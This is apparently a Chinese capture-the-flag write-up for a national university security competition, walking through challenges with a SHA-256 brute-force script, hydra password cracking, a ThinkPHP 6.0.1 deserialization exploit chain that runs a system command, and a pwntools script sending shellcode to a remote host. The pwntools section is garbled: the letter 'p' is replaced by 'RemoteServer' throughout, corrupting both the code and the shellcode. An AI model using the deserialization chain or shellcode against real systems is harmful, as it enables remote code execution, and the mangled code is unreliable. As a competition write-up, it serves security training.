第十五届全国大学生信息安全竞赛创新实践能力赛

​

基于挑战码的双向认证1

这两个应该是属于非预期，查找文件内容，两个flag都出了：

find / |xargs grep -ri flag{ 2>/dev/null
flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}

基于挑战码的双向认证2

解题步骤同上

基于挑战码的双向认证3

使用hydra爆破获得root密码toor。

登陆查找（find / |xargs grep -ri flag{ 2>/dev/null）获得flag

flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}

ISO9798

1. 爆破sha256老脚本套路了

import hashlib
dic = '0123456789abcdefghijklmnopqrstuvwxyzQAZWSXEDCRFVTGBYHNUJMIKOPL' 
for a in dic: 
    for b in dic: 
        for c in dic: 
            for d in dic: 
                t = str(a)+str(b)+str(c)+str(d)+'EvLOXDipk6pWH7ci'
                #print(t)
                sha256=hashlib.sha256(t.encode("utf8")).hexdigest()
                #print(sha256)
                if sha256 == 'ca0dddf277edecadf0de6f6c6c99ee2664a736ad847f8a345970a6f233eb6910': 
                    print(t)
                    break

2. 结合后面的题这个值就传0，使其rb为0

3. 然后他给的是rA||rB||B加密的结果,要我们给rB||rA.,猜测是ECB模式加密。,所以直接将第一块和第二块换一下位置即可
   

最终得到flag，

flag{0fc5a96c-16e5-497e-955a-3e7356bd549c}

Ezpop

1. 存在源码泄露，访问www.zip拿到源码，在app/controller/Index.php中发现test控制器存在一个用户可控的反序列化输入点

利用ThinKPHP6.0.1的反序列化漏洞利用链构造后成功在根目录下获取flag，POC如下

lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}
namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

flag{8c3f66f3-f3ca-4b6e-be63-9230376498fc}

login-nomal

1. 其实就是一个菜单逆向题目，首先进入1之后修改flag标志，然后进入2发送可见shellcode（shellcode自己构造就行）

from RemoteServerwn imRemoteServerort *

ShellCode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0RemoteServer160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8RemoteServer115l1n0J0h0a071N00"

def main():
    context(log_level='debug', arch='amd64', os='linux')
    #RemoteServer = RemoteServerrocess("./login")
    RemoteServer = remote("101.201.144.230", 24613)
    libc = ELF('./libc-2.33.so')

    RemoteServerayload1 = 'ORemoteServerT:1\nMSG:ro0ta\n'
    RemoteServerayload2 = 'ORemoteServerT:2\nMSG:'+ShellCode+"\n"
    RemoteServer.recvuntil(">>> ")
    RemoteServer.sendline(RemoteServerayload1)
    RemoteServer.recvuntil(">>> ")
    RemoteServer.sendline(RemoteServerayload2)

    RemoteServer.interactive()

if __name__ == "__main__":
    main()

flag{7d4521c1-4789-4365-8475-86cb048eeaf1}

ez_usb

1. 通过wireshark打开发现存在两种usb的流量信息，通过过滤全选导出分组将其另存，过滤语法为usb.src =="2.10.1"和usb.src =="2.8.1”
2. 利用UsbKeyboardDataHacker.py脚本（github上可找）对其解密获得压缩包的十六进制和压缩包的密码
   
3. 整理压缩包的十六进制，置空，删除前的一个字母c，保存后解压得到flag

flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

签到

打开链接根据摩斯密码表点击三次按钮输入s启动，根据公众号的提示和密码本进行模十算法，如图

根据提示将得出的数据发包即可得到flag

flag{59727c32-14c9-4bf1-9c65-cbeae9d8a247}

问卷调查

填写问卷即可得到flag。

flag{Thanksforplayingourgames

everlasting_night

根据提示，用stegsolve进行分析，挨个查看，得到一串字符串

对其进行尝试lsb隐写解密，

查看文件内容，可以知道是加密的zip文件
在图片最后多余处，得到一串md5,MD5破解得到压缩包密码

解压得到flag的图片，用GIMP打开看到flag，但是不方便读，PS修改一下，得到flag

flag{607f41da-e849-4c0b-8867-1b3c74536cc4}

​